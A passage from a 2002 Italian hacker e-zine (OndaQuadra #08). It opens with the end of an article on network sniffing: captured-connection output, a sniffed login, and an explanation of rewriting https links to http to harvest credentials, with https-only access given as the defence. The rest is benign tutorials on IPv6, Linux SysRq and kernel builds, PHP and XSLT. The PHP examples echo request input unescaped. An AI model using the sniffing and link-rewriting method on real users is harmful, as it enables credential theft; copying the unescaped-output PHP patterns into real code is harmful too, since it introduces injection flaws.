| ? 4) 192.168.1.35:1067 <--> xx.xx.xxx.xxx:80 ? CLOSED ? www |
| ? 5) 192.168.1.35:1068 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 6) 192.168.1.35:1069 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 7) 192.168.1.35:1070 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? 8) 192.168.1.35:1071 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? 9) 192.168.1.35:1072 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 10) 192.168.1.35:1073 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 11) 192.168.1.35:1074 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? 12) 192.168.1.35:1075 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 13) 192.168.1.35:1076 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? 14) 192.168.1.35:1077 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ?? Your IP: 192.168.1.4 MAC: 00:00:00:00:00:00 Iface: eth0 Link: HUB ??? |
| ? USER: isi |
| ? PASS: secret http://www.xxxxxx.it/xxxxxx/jsp/login/login.html |
| ???????????????????????????????????????????????????????????????????????? |
| |
| I link presenti in home page che conducono a pagine accessibili tramite |
| protocollo sicuro https possono essere modificati al volo in favore di |
| link http potenzialmente insicuri, in questo modo tali pagine si |
| prestano a loro volta a subire modifiche da parte di un malintenzionato. |
| Sul sito stesso si possono per di più reperire le seguenti informazioni: |
| |
| "Di norma, i browser visualizzano nella barra inferiore l'icona di un |
| lucchetto chiuso per avvisare l'utente che sta navigando in pagine |
| sicure. |
| |
| Ill sito xxxxxx, per rendere più veloce la navigazione e le |
| operazioni, è stato strutturato a "frames": ciò significa che tutte |
| le pagine vengono caricate all'interno di una cornice che rimane |
| costante. |
| Tutte le pagine del sito xxxxxx nelle quali avviene l'inserimento o |
| l'invio di dati sono sicure e protette: la mancata visualizzazione |
| del lucchetto chiuso da parte del browser dipende dalla struttura a |
| frames*." |
| |
| Il fatto che il sito NON visualizzi mai l'icona del lucchetto fa si che |
| l'utente non riscontri alcuna anomalia durante le operazioni di login. |
| L'unico modo per proteggersi da questa forma di attacco è quello di |
| forzare l'accesso al sito esclusivamente in https in quanto un link |
| https in una pagina accessibile tramite protocollo http può essere |
| vittima di alterazioni che lo rendono a sua volta insicuro! |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ NETW0RKiNG #08 - 01/11/2002 |
| iMP0STARE iL DUAL STACK IPV6 / IPV4 [Master^Shadow] 0x08/0x1A |
+--------------------------------------------------------------------------+
| <Intro /> |
| Ho scritto questa semplicissima guida per permettere a tutti di |
| utilizzare il protocollo IPV6, la nuova generazione di IP Address. |
| Penso che oramai tutti sappiano che la vecchia generazione Ipv4 ha |
| quasi raggiunto il limite massimo di indirizzamento e che, se non |
| aggiornata, non si potranno più aggiungere altri indirizzi. |
| Ipv6 è quindi il successore di Ipv4. E' un protocollo a 128 bit e |
| offre una capacità di indirizzamento praticamente illimitata |
| rispetto a quella offerta dai 32 bit di Ipv4. |
| Il nuovo protocollo è inoltre stato studiato per aumentare la |
| sicurezza, gestibile ora a bassissimo livello, e per evitare i vari |
| metodi di sniffing e spoofing. |
| Ovviamente non è tutto oro quello che luccica: un motivo di |
| preoccupazione security-related per Ipv6 è la sua caratteristica di |
| autoconfigurazione. |
| Questo permetterebbe di immettersi abbastanza facilmente in una lan |
| Ipv6 e perciò questa caratteristica va presa con le pinze. |
| Una caratteristica di Ipv6 è inoltre quella di incompatibilità con |
| Ipv4. |
| E' perciò necessario implementare il dual stack nelle varie box e |
| riscrivere diverse applicazione web. |
| |
| <Win2k /> |
| Per utilizzare Ipv6 sotto Windows2000 occorre un sistema aggiornato |
| almeno a Service Pack 1 o a Service Pack 2. |
| Se siamo il possesso di queste caratteristiche dobbiamo scaricare |
| l'Ipv6 stack per SP1 o SP2. |
| |
| Cerchiamo su google il nome del file stack e scarichiamolo: |
| |
| Stack Ipv6 per W2k SP1: tpipv6-001205.exe |
| Stack Ipv6 per W2k SP2: tpipv6-001205-SP2-IE6.zip |
| |
| Installiamo lo stack dalla cartella setup del package cliccando su |
| hotfix e riavviamo il sistema. |
| Una volta riavviato se non si possiede una scheda di rete bisogna |
| installarne una virtuale in loopback. Per fare ciò bisogna andare in |
| Pannello di controllo e premere Installa nuovo hardware. |
| Premiamo aggiungi nuova periferica e poi scegliamo di selezionare |
| l'hardware da un elenco. Come produttore scegliamo Micro$oft e come |
| prodotto Scheda micro$oft loopback. |
| Ora abbiamo una scheda di rete installata... |
| L'ultimo passo per installare Ipv6 su Win2k è quello di |
| visualizzare le proprietà della rete locale in Rete e connessioni |
| remote. Una volta aperta |
| la dialog è necessario premere installa e scegliere Protocollo e poi |
| Aggiungi. Scegliamo Microsoft Ipv6 Protocol e abbiamo finito. |
| |
| <WinXP /> |
| Windows XP viene fornito da Microsoft già pronto per Ipv6. E' |
| necessaria la battitura di un solo comando per avere la nostra box |
| già pronta per Ipv6. |
| Aprire il dialog Esegui dal menu Start e scrivere al suo interno il |
| comando "ipv6 install" senza le virgolette. |
| Verrà tutto configurato automaticamente e avremo già disponibile un |
| tunnel broker fornito dalla Microsoft per la nostra navigazione |
| Ipv6. |
| |
| <Linux_Kernel_2.2.x /> |
| Per avere il supporto Ipv6 in Linux occorre ricompilare il kernel |
| per abilitare le funzioni per noi interessanti. |
| Entriamo come utente root e portiamoci in /usr/src/linux e |
| cominciamo la configurazione con "make config" (testuale) o "make |
| menuconfig" (con menu) o "make xconfig" (grafica, necessita |
| XServer). |
| |
| In "Code maturity level options" abilitiamo: |
| - Prompt for development and/or incomplete code/drivers |
| |
| In "Networking Options" abilitiamo: |
| - Kernel/User netlink socket |
| - Netlink device emulation |
| - The IPv6 protocol (EXPERIMENTAL) |
| - IPv6: enable EUI-64 token format |
| - IPv6: disable provider based addresses |
| |
| Ricompiliamo il kernel e impostiamo Lilo per caricare la nuova |
| immagine |
| (Vedi il kernel-howto per sapere come ricompilare il kernel). |
| Ora siamo pronti per Ipv6! |
| |
| <Linux_Kernel_2.4.x /> |
| Anche sul kernel 2.4 occorre ricompilare il kernel: |
| portiamoci in /usr/src/linux e diamo il solito "make menuconfig" |
| |
| Questa volta abilitiamo: |
| In "Code maturity level options": |
| - Prompt for development and/or incomplete code/drivers |
| |
| e in "Networking Options": |
| - Kernel/User netlink socket |
| - Routing messages |
| - The IPv6 protocol (EXPERIMENTAL) |
| |
| Ricompiliamo il kernel e siamo pronti per Ipv6. |
| |
| <Tunnel_Broker /> |
| Un tunnel broker è un servizio che ci permette di navigare in Ipv6 |
| attraverso Ipv4. I maggiori provider di Tunnel Broker in Italia sono |
| Edisontel e Telecomitalialab ma ci sono altri numerosi ottimi |
| tunnel. |
| |
| Mi impegno però a darvi qualche url di tunnel broker: |
| http://www.6bone.it |
| http://www.6b0ne.org |
| http://www.telecomitalialab.net |
| http://www.6bone.mine.nu |
| http://www.freenet6.net |
| http://www.xs26.net |
| http://ipv6tb.he.net |
| |
| <Tunnel_Broker_Config_Windows /> |
| Basta dare questa semplice serie di comandi per avere il nostro |
| servizio di tunneling ben configurato sotto windows 2k o xp. |
| In esegui dare: |
| ipv6 rtu 2000::/3 2/::SERVERIPV4 pub |
| ipv6 adu 2/TUOIPV6 |
| |
| dove SERVERIPV4 è l'indirizzo Ipv4 del server che ci da il |
| tunneling e TUOIPV6 è l'indirizzo Ipv6 che ci ha assegnato il |
| fornitore del servizio. |
| Ovviamente bisogna aggiornare il nostro Ipv4 sul server ad ogni |
| connessione dial up (quando cambia l'ip) ma questo varia da |
| fornitore a fornitore di tb |
| |
| <Tunnel_Broker_Config_Linux /> |
| In Linux la procedura è un pelo più complessa poichè bisogna |
| settare anche l'instradamento per Ipv6. |
| L'operazione può essere però sintetizzata nei seguenti comandi, da |
| lanciare con permessi di root (superuser): |
| |
| ifconfig sit0 up |
| ifconfig sit0 add TUOIPV6 |
| route -A inet6 add 2000::/3 gw ::SERVERIPV4 |
| |
| SERVERIPV4 è l'indirizzo Ipv4 del server mentre TUOIPV6 è il nostro |
| indirizzo Ipv6 fornito dal server di tunneling. |
| |
| Anche in questo sistema operativo bisogna aggiornare il nostro Ipv4 |
| sul server e ciò può essere fatto con la moltitudine di script |
| preconfezionati o con il semplice utilizzo di wget o lynx e un po' |
| di bash. |
| |
| <Applicazioni_Ipv6_Ready /> |
| Praticamente inesistenti su Windows, le applicazioni Ipv6 su linux |
| non mancano :-) |
| Unico programma Ipv6 Ready su windows è la versione alpha di Kvirc |
| mentre per il resto è necessario un piccolo bouncer ipv4/ipv6 |
| chiamato relay6, |
| facilmente trovabile online con un ricerca su google. |
| In linux basta ricompilare i programmi con il flag --enable-ipv6 e |
| avremo il supporto della maggioranza dei software. |
| |
| <In_realtà /> |
| Nella realtà l'utilizzo intensivo di Ipv6 è veramente lontano e |
| questi non entrerà a far parte della vera internet prima del |
| 2005-2006... |
| Speriamo bene e che Ipv6 non ci assicuri brutte sorprese come ha |
| fatto lo stack Tcp/IP negli ultimi tempi... |
| |
| <Conclusione /> |
| Ora siamo pronti per Ipv6. Mi raccomando fatene buon uso :-) |
| |
| Master^Shadow /// HX Crew |
| Email: mastershadow<at>hackzxtreme<dot>cjb<dot>net |
| |
| <Saluti /> |
| Colgo l'occasione per salutare tutti gli amici che mi accompagnano |
| giorno dopo giorno in fantastiche discussioni, specialmente: |
| JeyOne, AndreaGeddon, _D31m0s_, Bartx, ThEgAmEr, JHTritolo, |
| Quequero, Quake2^AM, fDiskolo, Fen0x, TheMR, Vinx2o2o e tutti |
| quelli che ho involontariamente dimenticato :-P |
| Ovviamente un grosso ciao anche a tutti i fratelli di HackzXtreme |
| Crew e agli amici di UIC e di Ondaquadra! |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #08 - 01/11/2002 |
| LMSRK [spyro] 0x09/0x1A |
+--------------------------------------------------------------------------+
| Linux Magic System Request Key |
| |
| |
| Magic system request key è una funzione del kernel introdotta dalla |
| versione 2.2.x in poi. |
| Questa funzione serve a richiamare e a dare comandi(quindi tramite |
| tastiera) al nostro kernel nel caso in cui per esempio vada in kernel |
| panic o si blocchi per altre motivazioni. |
| Perl abilitarlo nel propio kernel, dobbiamo mettere yes alla richiesta: |
| |
| 'Magic SysRq key (CONFIG_MAGIC_SYSRQ)' |
| |
| nella configurazione del kernel ,mettendolo in modalità built-in. |
| Una volta che abbiamo il kernel con supporto SysRq compilato, può |
| essere disabilitato il comando: |
| |
| echo "0" > /proc/sys/kernel/sysrq |
| |
| Le versioni precedenti disabilitavano sysrq di default, e si era |
| richiesti di abilitarlo specificatamente al run.time, ma adesso non è |
| più così. |
| |
| La combinazione dei tasti, varia da piattaforma a piattaforma. |
| Ecco uno schemettino che vi renderà meglio l'idea: |
| |
| Piattaforma Tasti di coamando Commento |
| x86 ALT-SYSRQ-[tasti di comando] SYSRQ = Print Screen |
| SPARC ALT-STOP-[tasi di comando] |
| PowerPC ALT-Print Screen-[tasti di coamndo] Print screen,altrimenti F13 |
| |
| E Adesso tabella con i tasti magici ;) |
| Tasto Funzione |
| s Tenta di sincronizzare tutti i file system |
| precedentemente montati |
| |
| u Tenta di rimontare tutti i file system |
| precedentemente montati(mount) |
| in modalità read-only(sola lettura) |
| |
| b Tenta di reboottare all'instante il sistema |
| (Così da non danneggiare o bloccare il sistema |
| ulteriormente, cosa che potrebbe accadere |
| premendo il tasto di reboot dal computer) |
| |
| p Stampa i settaggi dei registri e le flag correnti, |
| nell'attuale console di lavoro |
| |
| t Stampa la lista dei tasks e le sue relative |
| informazioni correnti, nell'attuale console di lavoro |
| |
| e Manda un segnale SIGTERM a tutti i processi, |
| a eccezzione di quelli caricati dall'init |
| |
| i Manda un segnale SIGKILL a tutti i processi, |
| a eccezzione di quelli caricati dall'init |
| |
| l Manda un segnale SIGKILL a tutti i processi(init |
| inclusi) |
| |
| |
| |
| Dove trovo nel kernel la sezione per abilitare Magic sys request? |
| Faccio esempio dalla mia slackware con kernel 2.4.x |
| Prima di tutto entrare nella dir contenente i sorgenti: |
| |
| # cd /usr/src/linux |
| |
| (naturalmente bisogna avere privilegi root) |
| Facciamo partire il programma di configurazione: |
| |
| # make menuconfig |
| |
| (In testuale) |
| Se volete la versione grafica: |
| |
| # make xconfig |
| |
| Adesso dal menu andiamo fino all'ultima voce: |
| Kernel hacking ----> |
| |
| Permiamo invio |
| Ci troveremo davanti: |
| |
| [_] Kernel Debugging |
| |
| Selezioniamolo e premiamo lo space(barra di scorrimento): |
| |
| Si aprirà un menu ad albero, tra cui la voce: |
| |
| [_] Magic SysRq key |
| |
| Andiamoci sopra,premiamo lo space in modo da abilitarlo in modalità |
| buil-in. |
| Quindi adesso comparirà come: |
| |
| [*] Magic SysRq key |
| |
| Adesso ci comparira` la domanda: Do you wish to save your new kernel |
| configuration? |
| |
| E noi premiamo su YES . |
| |
| (Così facendo salveremo le modifiche del kernel appena eseguite) |
| |
| Ok adesso diamo i comandi: |
| |
| |
| 1)make dep |
| |
| |
| 2)make clean |
| |
| |
| 3)make bzImage |
| |
| |
| 4)make modules |
| |
| |
| 5)make modules_install |
| |
| |
| Questi sono i 5 comandi che si danno di solito per ricompilare il |
| kernel. |
| |
| Spiegazione comandi: |
| |
| |
| 1) make dep: controlla le dipendenze |
| |
| esempio: |
| noi attiviamo il supporto framebuffer ma non attiviamo la vga, ci |
| pensa lui. |
| |
| |
| 2) make clean: elimina i file oggetto delle vecchie compilazioni |
| |
| |
| 3) make bzImage: Crea il nuovo kernel |
| |
| |
| 4) make modules: crea i moduli |
| |
| |
| 5) make modules_install: installa moduli in /lib/modules |
| |
| |
| Adesso ci vorrà un po prima che compili tutto, quindi non |
| preoccupatevi,lo deve fare :) |
| |
| |
| Adesso che abbiamo finito dobbiamo provare il nuovo kernel. |
| |
| Entriamo nella dir. /usr/src/linux/arch/i386/boot e copiamo il nuovo |
| kernel nella directory /boot . |
| |
| |
| cd /usr/src/linux/arch/i386/boot |
| |
| |
| mv bzImage /boot/newkernel |
| |
| |
| In questo modo copiamo il nuovo kernel nella dir. /boot chiamandolo |
| newkernel . |
| |
| |
| Adesso creiamo un nuovo label nel LILO per provare il nuovo kernel. |
| |
| Questo xche` se il nuovo kernel avra` problemi e crasha, noi avremo la |
| possibilita` di usare quello |
| |
| originale ovvero quello funzionante. |
| |
| |
| Creeiamo un nuovo label. |
| |
| Editiamo lilo.conf, che trovermeo nella dir. /etc ,con un qualsiasi |
| editor di testo e aggiungiamo le |
| |
| seguenti righe: |
| |
| image = /boot/newkernel |
| |
| root = /dev/hda6 |
| |
| label = newkernel |
| |
| read-only |
| |
| |
| |
| Spiegazione: |
| |
| image = /boot/newkernel : Il kernel che lilo deve caricare |
| |
| root = /dev/hda6 : Partizione in cui e` installato il Mount Point / |
| |
| label = newkernel : Nome che andra` digitato per caricare il |
| kernel /boot/newkernel |
| |
| read-only : In questo modo al momento del boot la partizione |
| sara` disponibile solo in lettura |
| |
| I dati qua sopra citati potete lascialri tutti come li ho settati io, |
| tranne root = /dev/hda6 . |
| |
| Li` dovrete mettere la vostra partizione root. |
| |
| Se non sapete qual'é, basta che controllate quella del label linux(di |
| solito si chiama cosi`). |
| |
| |
| |
| -------------------------------LiLo.C0nf------------------------------ |
| boot = /dev/hda |
| |
| message = /boot/boot_message.txt |
| |
| prompt |
| |
| timeout = 1200 |
| |
| |
| |
| other = /dev/hda1 |
| |
| label = DOS |
| |
| table = /dev/hda |
| |
| |
| |
| image = /boot/mvlinuz |
| |
| root = /dev/hda6 |
| |
| label = Linux |
| |
| read-only |
| -------------------------------LiLo.C0nf------------------------------ |
| |
| Come si nota il label linux usufruisce della partizione root /dev/hda6, |
| quindi il nostro lilo.conf |
| |
| modificato sara`: |
| |
| -------------------------------LiLo.C0nf------------------------------ |
| |
| boot = /dev/hda |
| |
| message = /boot/boot_message.txt |
| |
| prompt |
| |
| timeout = 1200 |
| |
| |
| |
| other = /dev/hda1 |
| |
| label = DOS |
| |
| table = /dev/hda |
| |
| |
| |
| image = /boot/newkernel |
| |
| root = /dev/hda6 |
| |
| label = newkernel |
| |
| read-only |
| |
| |
| |
| image = /boot/mvlinuz |
| |
| root = /dev/hda6 |
| |
| label = Linux |
| |
| read-only |
| |
| -------------------------------LiLo.C0nf------------------------------ |
| |
| Adesso salviamo e chiudiamo il file lilo.conf |
| |
| Dovremo far attuare le modifiche a lilo, tutto questo dando il comando: |
| lilo |
| |
| In questo modo eseguiremo lilo, che controllera` l'esistenza del kernel |
| nuovo da boottare. |
| |
| Non ci resta altro da fare che reboottare la macchina, e quando parte |
| il boot loader lilo scrivere: |
| |
| newkernel |
| |
| in questo modo partirà il nostro nuovo kernel con magic sys request key |
| attivo. |
| |
| Se notate che il nuovo kernel non dà + problemi, potete eliminare il |
| vecchio kernel e relativo label nel lilo.conf . |
| |
| Nel kernel 2.2.x, la funzione: |
| |
| |
| [_] Magic SysRq key |
| |
| Si trova sempre sotto la voce Kernel hacking. |
| Poi x la compilazione del kenrel e la configurazione di lilo, leggere |
| le istruzioni sopra riportate. |
| Beh, anche per questa volta è tutto. |
| Per maggior informazioni vi mando alla documentazione presente nella |
| directory dei doc del sorgenti del kernel |
| (/usr/src/linux/Documen
tation/sysrq.txt). |
| |
| Un saluto dal vostro SPYRO |
| |
| _________________________________ |
| | |
| E-mail: spyro2600[at]yahoo.it | |
| | |
| Url: www.spyrohack.com | |
| _________________________________| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| iNTR0DUZi0NE A PHP [Lethalman] 0x0A/0x1A |
+--------------------------------------------------------------------------+
| Indice: |
| |
| 1.0 Nozioni principali |
| 1.1 Php in poche parole |
| 1.2 Il php nell'html |
| 1.3 Variabili |
| 1.4 Echo su più righe |
| |
| 2.0 Approfondimenti |
| 2.1 If, else, elseif |
| 2.2 Form |
| 2.3 While |
| 2.4 For |
| 2.5 Switch |
| |
| 3.0 Fine |
| 3.1 Nelle prossime puntate |
| 3.2 Links utili |
| 3.3 Conclusioni |
| |
| Requisiti: |
| Una buona base html |
| Una buona base di programmazione generale |
| __________________________ |
| | | |
| | 1.0 - Nozioni principali | |
| |__________________________| |
| __________________________ |
| | 1.1 - Php in poche parole |
| |
| Uno script php è semplicemente una pagina html all'interno della quale |
| viene inserito il codice, cioè le istruzioni che costituiscono il |
| programma. Per questo motivo php viene descritto come un |
| linguaggio "html-embedded". Il codice php viene eseguito sul server |
| prima che la pagina venga inviata al broswer (il "client"); il client, |
| quindi, vedrà solo il risultato (cioè l'output) del programma php. |
| _______________________ |
| | 1.2 - Il php nell'html |
| |
| Il primo esempio che vedremo sarà, inevitabilmente, il classico |
| messaggio di saluto "Ciao mondo" e ci servirà per mostrare la sintassi |
| da utilizzare per includere codice php in una pagina web. Ecco il |
| nostro sorgente: |
| |
| <html><head> |
| <title>Prova php</title></head> |
| <body> |
| |
| <?php // Questo è un commento su una riga. <? serve a dichiarare |
| l'inizio del php |
| echo "<h1>Ciao mondo!</h1>"; /* Commento a più righe. Con il comando |
| echo() abbiamo "stampato" nella pagina html 'Ciao mondo' */ |
| ?> // Fine php |
| |
| </body> |
| </html> |
| |
| Il risultato della pagina (html) sarà: |
| |
| <html><head> |
| <title>Prova php</title></head> |
| |
| <h1>Ciao mondo!</h1> |
| |
| </body> |
| </html> |
| |
| Come avrete visto non c'è ALCUNA TRACCIA del sorgente php ma solo |
| dell'output generato dal php. |
| ______________ |
| | 1.3 Variabili |
| |
| Le variabili in php si identificano con il segno $ davanti al nome |
| della variabile: $variabile. Facciamo qualche esempio: |
| |
| <? |
| echo "Le variabili numeriche devono essere settate senza apice"; |
| $a = 1; // Immetto il valore 1 nella variabile $a |
| $b = 2; |
| $c = $a + $b; // Faccio la somma tra $a e $b e lo metto in $c |
| echo "$c"; // Infine stampo il risultato |
| echo "<br><br>"; |
| echo "Le variabili contenenti stringhe devono essere settate con gli |
| apici"; |
| $str = "Ciao"; // Metto la stringa "Ciao" nella variabile $str |
| echo "$str"; |
| ?> |
| |
| Guardate il risultato col vostro broswer. Come avrete capito, le |
| variabili contenenti numeri devono essere messe senza apici e le |
| stringhe con gli apici. Potete anche mettere i numeri negli apici ma |
| più avanti vi riscontrerete con alcuni problemini. Comunque c'è |
| qualcosa che... ma certo. Allora le variabili le posso anche mettere |
| nell'html. Ecco come: |
| |
| <? |
| $link = "http://www.ondaquadra.cjb.net"; |
| echo "<a href=\"$link\">Link</a>"; /* Avete già capito come va a |
| finire. Ma... cos'è \" ? Mettendo " echo si chiuderebbe e poi si |
| riaprirebbe e succederebbe un casino. Mentre con \" simula il vero " |
| che poi verrà stampato normalmente */ |
| ?> |
| ________________________ |
| | 1.4 - Echo su più righe |
| |
| Non vi spaventate. E' sempre il nostro comando echo fatto a più righe. |
| Guardate questo sorgente: |
| |
| <? |
| echo "Ciao come" // Senza ; vado daccapo e continuo su l'altra riga |
| ."va ?"; // Qui finisce l'echo su più righe |
| $var = "Bene"; |
| echo "<br>" |
| ."$var" |
| ." e tu?"; |
| ?> |
| |
| Questo forse vi sembrerà non importante ma cretetemi, prima o poi vi |
| servirà di certo. |
| _______________________ |
| | | |
| | 2.0 - Approfondimenti | |
| |_______________________| |
| |
| Bene. Spero avrete letto bene, moooolto bene le cose precedenti perchè |
| adesso si comincia un pò ad andare nel profondo. Quindi mano alla |
| tastiera e occhi sulla guida :P |
| _______________________ |
| | 2.1 - If, else, elseif |
| |
| Immancabile in ogni linguaggio di programmazione è la condizione. In |
| php si usa così: |
| |
| <? |
| $numero = 5; |
| if ($numero == 5) { // Se $numero è uguale a 5 allora |
| echo "Il numero è 5"; // Stampa che il numero è 5 |
| } elseif ($numero < 10 && $numero > 5) { /* && sta per: 'e' mentre || |
| (che qui non c'è) sta per: 'o' */ |
| echo "Il numero è tra 5 e 10"; |
| } else { // Altrimenti... |
| echo "Non è 5"; // ...stampa che non è 5 |
| } // Fine condizione |
| ?> |
| |
| Ecco un semplice esempio della struttura if. Comunque non c'è solo il |
| segno: == ma: |
| |
| == uguale |
| != diverso |
| < minore |
| > maggiore |
| <= minore o uguale |
| >= maggiore o uguale |
| |
| Adesso ho citato solo questi. |
| ___________ |
| | 2.2 - Form |
| |
| I form sono molto importanti per un migliore passaggio di informazioni |
| da una pagina ad un'altra. Vediamo come possiamo sfruttarli in php. |
| Creiamo 2 file di nome rispettivamente news.php e elaborato.php. Il |
| file news.php ci servirà dopo. Adesso prendiamo in considerazione |
| elaborato.php e scriviamo nel file: |
| |
| <? |
| echo "$segno"; |
| ?> |
| |
| Che cos'è $segno? Provate a digitare nella vostra bella barra di |
| navigazione: sito/elaborato.php?segno=Ciao |
| |
| Che cosa succede? Per magia è comparso "Ciao". E cos'è successo: |
| elaborato.php è il file. ? serve per passare dei dati al file, che in |
| questo caso è elaborato.php. I dati passati sono: segno=Ciao, come se |
| fosse una variabile. Ma... che c'è di familiare? Ah ecco. $segno e |
| segno. Infatti segno=Ciao e come scrivessimo prima del file: $segno |
| = "Ciao" e quindi... avrete già capito tutto. Vi ho spiegato in parole |
| povere come funziona il passaggio dei dati. Adesso vi chiederete: "Che |
| cavolo c'è lo hai fatto a fare news.php?" è presto detto. Questo era |
| solo per farvi capire come funziona il passaggio dati. Adesso andiamo |
| ai form. Cosa fanno i form? Passano i dati :D. Scriviamo in news.php: |
| |
| <? |
| echo "<form action=\"elaborato.php\" method=\"post\">\n"; |
| echo "Valore segno: <input type=\"text\" name=\"segno\">\n"; |
| echo "<input type=\"submit\" value=\"Invia\">\n"; |
| echo "</form>"; |
| ?> |
| |
| Provate adesso :D Guarda un pò, esce quello che ho scritto nella |
| textbox, come mai? Beh io vi avevo avvertito di avere una buona base |
| html no? Il form passa i dati al file elaborato.php, in questo caso il |
| dato è 'segno' eh... capito come funziona vero? Passiamo a qualcosa di |
| più costruttivo. Scrivete in news.php: |
| |
| <? |
| echo "<center><h1>News</h1></center><br><br>\n"; |
| echo "<a href=\"elaborato.php?news=calcio\">Calcio</a> - <a |
| href=\"elaborato.php?news=f1\">Formula 1</a> - <a href=\"elaborato.php? |
| news=basket>Basket</a>"; |
| ?> |
| |
| e adesso scrivete in elaborato.php: |
| |
| <? |
| if ($news == calcio) { |
| echo "La Juventus ha comprato un nuovo giocatore"; |
| } elseif ($news == f1) { |
| echo "Shumaker ha vinto ancora"; |
| } elseif ($news == basket) { |
| echo "Mycol Jordan si è ritirato"; |
| } |
| ?> |
| |
| OK. Adesso aprite news.php e selezionate le news desiderate. |
| ____________ |
| | 2.3 - While |
| |
| L'intramontabile ciclo while eccolo anche su questi schermi. |
| |
| <? |
| $x = 1; |
| while($x < 10) { // Finquando $x è minore di 10 |
| echo "$x - "; // Stampa $x |
| $x++; // Aumenta di 1 $x con ++ mentre -- decrementa di 1 la variabile |
| } |
| ?> |
| |
| Semplice vero? Beh, è inutile che faccia altri esempi se avete capito |
| le cose precedenti. Andiamo avanti. |
| __________ |
| | 2.4 - For |
| |
| Ed ecco l'altro mitico, immancabile ciclo For. Esempio: |
| |
| $y = 10; |
| for($x = 0; $x < $y; $x++) { /* Setta $x a 0, esegui finquando $x < $y |
| e aumenta $x di 1: $x++ */ |
| echo "$x - "; |
| } |
| |
| In poche parole fa quello che abbiamo detto con while ma non pensiate |
| che sia la stessa cosa, dipende dall'uso che se ne deve fare. |
| ____________ |
| | 25 - Switch |
| |
| Questa è una cosa perlopiù indispensabile per i webmaster più esigenti. |
| Vi ricordate quella faticata delle news? Riprendiamole: |
| |
| news.php: |
| <? |
| echo "<center><h1>News</h1></center><br><br>\n"; |
| echo "<a href=\"elaborato.php?news=calcio\">Calcio</a> - <a |
| href=\"elaborato.php?news=f1\">Formula 1</a> - <a href=\"elaborato.php? |
| news=basket>Basket</a>"; |
| ?> |
| |
| elaborato.php: |
| <? |
| switch($news) { // Prendiamo in considerazione la variabile $news... |
| case "calcio": // ... e se in caso è = calcio allora... |
| echo "La Juventus ha comprato un giocatore"; // ... fai questo |
| break; // Fine case |
| case "f1"; // stessa cosa di sopra |
| echo "Shumaker ha vinto ancora"; |
| break; |
| case "basket"; |
| echo "Non ne capiamo"; |
| break; |
| default: /* Oh, e questo cos'è? Questo è quando non c'è $news ovvero |
| elaborato.php e basta */ |
| echo "Devi selezionare una news da news.php"; |
| break; |
| } // Fine switch |
| ?> |
| |
| Bene, come avrete capito questa funzione è mooolto interessante vero? |
| Bene, sappiatela usare ed avrete delle pagine molto più dinamiche di |
| una normale pagina html. |
| ____________________ |
| | | |
| | 3.0 - Fine | |
| |____________________| |
| |
| Fine della guida (per adesso perchè ne farò altre sempre per il php). |
| _____________________________ |
| | 3.1 - Nelle prossime puntate |
| |
| Nelle prossime guide sul php fatte da me troverete qualcosa che vi può |
| interessare tipo date, altre info ma il più scottante è mysql. Infatti |
| parleremo soprattutto del database mysql, come connettersi, selezionare |
| database, tabelle ecc. |
| __________________ |
| | 3.2 - Links utili |
| |
| Qualche link utile ci vuole sempre: |
| www.php.net - Homepage ufficiale |
| www.phpitalia.com |
| http://php.resourceindex.com |
| _________________ |
| | 3.3 - Conlusioni |
| |
| Come avrete visto il php non è nulla di straordinario a programmarlo ma |
| è molto potente specialmente come vedremo nelle prossime puntate. |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| iL SUCCESS0RE Di XSL [cyberdude] 0x0B/0x1A |
+--------------------------------------------------------------------------+
| XSLT TUTORIAL BY CYBERDUDE |
| |
| |
| Introduzione |
| |
| Ciao a tutti ragazzi,sono cyberdude, a quanto pare ci reincontriamo |
| ancora hihiihi ebbene si, non me ne vogliono proprio mandare da questa |
| crew! Dunque ragazzi, non so chi mi ha dato il coraggio di cominciare |
| a scrivere questo tutorial,forse questo fatto dipende dalla cosa che |
| io non conosco ancora questo linguaggio, infatti ho da poco comprato |
| in cartolibreria un mensile che non sto qui a citare per non fare |
| pubblicità inutile, nel quale è uscito questa guida! Quindi mentre |
| le leggo, scriverò in questo documento di testo quello che ne capisco! |
| ok? Sto ascoltando Certe notti di Ligabue nella veranda di casa mia |
| con il sole che mi batte in testa, sono le 2 del pomeriggio, oggi è |
| finalmente sabato!! sono da poco uscito da scuola, aspetto con ansia |
| l'arrivo dell'estate (siamo in Aprile)e in questo paradiso terrestre |
| inzia il mio studio all'XSLT !! Voi sarete i miei compagni di studio |
| iniziamo? Ok dai... pronti... partenza... via !! |
| _____________ |
| XSLT TUTORIAL |
| By Cyberdude |
| _____________ |
| XSL o eXtensible Stylesheet Language, è un linguaggio XML creato |
| inizialmente per fornire a XML un supporto per la formattazione |
| simile a CSS, ma potenziato per riflettere il linguaggio su cui viene |
| applicato, che non è più HTML o almeno questo è quanto io ne ho capito |
| vabbè dai è proprio così! XSLT (XSL Transformations) è il successore |
| di XSL, ed estende il concetto di foglio di stile fino a permettere |
| la manipolazione della struttura stessa del documento... infatti |
| permette di trasformare un documento XML filtrandone i dati e |
| riorganizzandoli in unaltra struttura XML!! capito? Beh che dire, |
| sappiate che XSLT possiede molte delle caratteristiche di un |
| linguaggio di programmazione imperativo! ok? |
| << Possiamo intendere XSLT >> |
| - come formattatore |
| - come trasformatore |
| andiamo ad analizzare entrambi i casi ... Xslt , è |
| |
| . formattatore > Per quel che riguarda labilità di generare una |
| presentazione dei dati XML, XSLT dispone attualmente di due |
